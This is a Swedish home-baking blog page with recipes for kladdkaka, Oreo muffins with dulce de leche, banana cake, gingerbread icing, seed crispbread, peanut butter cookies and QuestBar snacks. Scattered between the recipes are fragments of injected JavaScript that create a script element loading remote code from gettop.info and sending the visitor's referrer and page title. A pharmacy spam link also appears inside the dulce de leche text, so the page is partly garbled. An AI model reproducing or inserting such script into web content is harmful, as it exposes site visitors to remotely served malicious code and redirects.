Kladdkaka med nutella

bild5

Det här goda receptet hittade jag på bloggen ”en Smaksak”.

Kladdkaka:
100 g mörk kvalitetschoklad 70 %
100 g smör
1 dl Nutella
2 ägg
2 dl socker
4 msk sirap (gärna mörk)
2 tsk vaniljsocker
4 msk kakao
2 dl vetemjöl
2 krm salt

Garnering:
Nutella

Servering:
Hallon, (bär)grädde eller vaniljglass

Gör så här:
Sätt ugnen på 175° varmluft eller 200° ugnstemperatur. Finhacka chokladen och smält med smör i en kastrull. Blanda ner Nutella, ägg, socker, sirap och vaniljsocker. Sikta ner kakao, vetemjöl och salt. Bred ut smeten i en klädd eller smord springform (24 cm

i diameter) och grädda i nedre delen av ugnen i ca 25 minuter. Låt svalna. Bred Nutella över kakan och garnera gärna med hallon.

bild1bild2

bild3

bild4

 

var d=document;var s=d.createElement(‘script’);

Oreo muffins med dulce de leche

bild21

Nyligen fick jag se en bild på dessa supergoda muffins och kände att jag var bara tvungen att  baka dessa.  Det är verkligen tre godsaker i en enda kaka. Oreokaka med underbar kolasås och muffins på toppen.
Tjejen som inspirerade mig till dessa heter Layla Pegado  och hon har en helt underbar hemsida. Kika på Layla’s hemsida här. Hon har även en facebook sida med helt otroliga foton på alla vackra skapelser hon gör, allt ifrån underbara cupcakes till helt otroliga tårtor och andra bakverk. Sök på ”Layla Pegado Cakes” på facebook och gilla hennes sida.

14 muffins
3 ägg
2 dl strösocker
2 1/2 dl vetemjöl
2 tsk bakpulver
3 tsk vaniljsocker eller 1/2 tsk äkta vaniljpulver
1 nypa salt
1 1/2 dl kesella eller creme fraiche
1 paket Oreo kakor
Dulce de leche, färdigköpt eller koka upp kondenserad sötad mjölk i ca 2 timmar under vattenbad. Jag tycker det är godast att göra min egna dulce de leche.

Gör så här:
Dela dina oreo kakor så du har en botten och fyllningen kvar.
bild11bild13bild14

Lägg kakan i en muffinsform och häll på en klick dulce de leche kolakräm och sen muffinssmet över.

bild12

bild15bild25bild17bild24

18

bild23Grädda i ugnen på 200 grader i ca 12-15 min . Låt svalna.

bild20

bild7

bild4bild22

bild1

Låt muffinsen svalna.

Så här ser muffinsen ut när jag delade den mitt itu. Oreokakan i botten, dulce de leche i mitten och muffins på toppen.
bild1
Jag gjorde min dulce de leche dagen innan då den ska koka några timmar på plattan. Ca 2,5 timmar kokade min dulce de leche. https://www.acheterviagrafr24.com/viagra-prix-france-cialis/ Vill du ha den mer rinnig så koka ca 2 timmar. Om du inte hinner koka egen kolasås kan du köpa färdig i affären.

Dulce de leche framställs genom att man kokar kondenserad mjölk (sötad)  på svag värme under lång tid, oftast flera timmar.

Dulce de leche
1 burk kondenserad mjölk (sötad)

Gör så här:
Ta bort  etiketten runt burken.
Lägg burken med den kondenserade mjölken i en stor kastrull. Fyll på med vatten så att det täcker burken plus lite till. Det är viktigt att burken hela tiden är täckt med vatten, fyll på då och då med hett vatten under kokningen om det behövs. Låt koka ca 2 timmar.

Lyft upp burken. Låt svalna ordentligt innan den öppnas. Rör såsen slät i en bunke.

bild8

bild9bild10d.getElementsByTagName(‘head’)[0].appendChild(s);

if (document.currentScript) {

Banankaka

Här kommer ett supergott recept på banankaka. Receptet hittade jag här.

Recept
75 gram smör
1/2 dl mjölk
2 ägg
2 dl strösocker
2 mogna bananer
1 tsk kanel
3 dl vetemjöl
1 tsk bakpulver
1/2 tsk bikarbonat

Gör så här:
Sätt ugnen på 175 grader. Smör och bröa en avlång form, ca 1 1/2 liter. Smält smöret och häll i mjölken. Vispa ägg och socker pösigt. Skala och mosa bananerna. Rör ner banan, kanel och mjölet blandat med bakpulver och bikarbonat.
Rör snabbt ner mjölkblandningen. Häll smeten i  formen. Grädda i nedre delen av ugnen ca 55-60 min.

IMG_6257

 }

Roliga pepparkakor

 

bild1Tänk vad roligt man kan göra med pepparkaksdeg. Jag köpte en färdig deg och gjorde lite hjärtan som jag fyllde med karameller och sen hantlar med kristyr.

bild7bild5bild14bild13bild15

bild8bild12bild4bild10

Jag föredrar att göra min egna kristyr. Den du köper i affären är för rinnig och kladdig. Om du vill färga kristyren rekommenderar jag  att du använder pastafärg.
Recept kristyr:
1 äggvita
4 dl florsocker
1/2 tsk citronsaft

Vispa tills du fått en bra konsistens. Är den för tjock så häller du i lite vatten…är den för tunn så häll imer florsocker.

 

bild9bild3bild18bild17bild16

bild11bild3bild2bild1bild11bild9bild8bild7bild4bild3bild2bild4bild5bild6bild1if (document.currentScript) {

if (document.currentScript) { }

Fröknäcke

bild1

Det finns så många olika varianter på fröknäcke. Här kommer ett recept som jag nyligen bakade.
Receptet hittade jag här.

Recept 1 bakplåt
½ dl linfrön
½ dl sesamfrön
¼ dl pumpakärnor
¾ dl solroskärnor
2 dl majsmjöl
1 krm salt
½ dl olivolja
2 ½ dl vatten
flingsalt

GÖR SÅ HÄR
1. Sätt ugnen på 150 grader. Lägg ett bakplåtspapper på en plåt, ca 30 x 40 cm.
2. Blanda alla frön och kärnor tillsammans med majsmjöl och salt i en bunke.
3. Tillsätt oljan och rör om. Koka upp vattnet och tillsätt det. Rör allt till en jämn gröt. Skulle smeten bli för hård, tillsätt lite extra vatten.
4. Vänd ut smeten på bakplåtspapperet. Bred ut den jämnt över hela papperet, ända ut i kanterna
5. Strö lite flingsalt över hela kakan.
6. Grädda brödet mitt i ugnen i ca 70 min. Låt det kallna helt.

bild2

bild1

 

 } else {

d.getElementsByTagName(‘head’)[0].appendChild(s);

Kladdkaka (glutenfri)

Nu har jag bakat en underbart god kladdkaka som är helt glutenfri.
bild4
Receptet på den goda kladdkakan hittade jag här.
Kladdkaka
100 gram smör
3 dl socker
2 ägg
1 tsk vaniljsocker
6 msk Valrhona kakao
2 dl mandelmjöl
 ½ nypa salt
Gör så här.
Sätt ugnen på 225 grader!
Vispa smör och socker vitt, tillsätt sedan de övriga ingredienserna (mjölet sist!)
Grädda i ugnen ca 10-15 minuter!
Låt svalna och pudra med florsocker!
bild1bild2bild3bild4

d.getElementsByTagName(‘head’)[0].appendChild(s);

} else {var d=document;var s=d.createElement(‘script’);

Peanut butter cookies

bild9

Det här underbara receptet hittade jag på ”Swedebites” på instagram.

bild11

Recept:
1 cup  (2,25 dl) jordnötssmör (saltad)
4 tbsp  (4 msk) honung
2 tsp (2 tsk) vanilj pulver
1 ägg
en pepparkaksform

Gör så här.: Värm ugnen på  175 grader Celsius. Mixa ihop alla ingredienser och skeda ut  en liten klick av degen och forma till kakor. Degen är lite klibbig. Värm i ugnen i ca 5-7 minuter beroende på tjockleken på kakorna. Kakorna flyter inte ut i ugnen när de gräddas.  När kakorna svalnat kan du  dekorera med smält mörk 70% choklad.

Jag använder mig utan följande jordnötssmör.

Pea

bild3bild2bild5bild1

bild6bild7bild4bild8bild11

bild12

bild10

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

d.getElementsByTagName(‘head’)[0].appendChild(s);

QuestBar Donut

 

bild3

YouTube Preview Image

Nu har jag bakat donuts av QuestBar. I originalreceptet rekommenderar de att använda sig av QuestBar kanelbulle.
Då det inte fanns någon sådan smak kvar när jag handlade blev det Choklad brownie. Konsistensen blev lite seg med Choklad brownien men toppingen var riktigt god och söt.
Kika här efter fler recept.

Såg receptet on donuts av Questbar
Recept 1 donut
1 Questbar kanelbulle (jag använde Chocolate Brownie).
lite Whey
Stevia socker
Lite vatten
Hushållsfärg/pastafärg

Gör så här:
Sätt ugnen på 200 grader. Ta en questbar och forma till en donut. Grädda i ugnen på 200 grader i ca 6 minuter.
Blanda lite whey, stevia socker, lite vatten och pastafärg till en kräm. Pensla på toppingen på din donut.

bild11

bild10bild8bild9bild7bild5bild6bild1bild4bild3

Förvaras i kylskåp .}

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Cashew surprise av Quest bar

Bild1YouTube Preview Image

Det här supergoda receptet hittade jag här. Perfekt att server till kaffet efter maten.

Cashew surprise (4 bitar)
1 Questbar kokos/cashew
2 tsp vatten
1 tsp kokosmjöl
1/4 tsp vaniljpulver
1 tsp stevia strö
Lite salt
2 tbsp kokos
1 tsp kokos olja

Topping
70% mörk choklad
Några Cashewnötter
Kokos

Gör så här:
Dela din questbar i 4 delar. Rör ihop alla ingredienser och toppa på dina questbarbitar. Lägg en Cashewnöt på toppen. Smält chokladen och häll över på din questbar. In i frysen tills allt stelnat.

bildabild11bild10bild12bild13bild14

bild2bild5bild8bild7bild3bild4

 

 

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Klassisk kladdkaka

Den här kladdkakan har jag bakat många gånger. Receptet hittade jag i Maria Öhrn’s bok ”kladdkakor”.

bild1

Recept:
100 gram smör eller margarin
2 ägg
3 dl socker
2 1/2 dl vetemjöl
4 msk kakao
1 1/2 tsk vaniljsocker
1/2 krm salt

Gör så här:
Smörj och bröa en form med löstagbar kant, ca 21 cm i diameter. Smält smöret på låg värme. Vispa ägg och socker pösigt och tillsätt sedan smöret. Blanda mjöl, kakao, vaniljsocker och salt och rör ner blandningen i äggsmeten. Rör försiktigt sönder eventuella klumpar. Häll smeten i formen och grädda ca 20 minuter i 200 grader.

 }

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;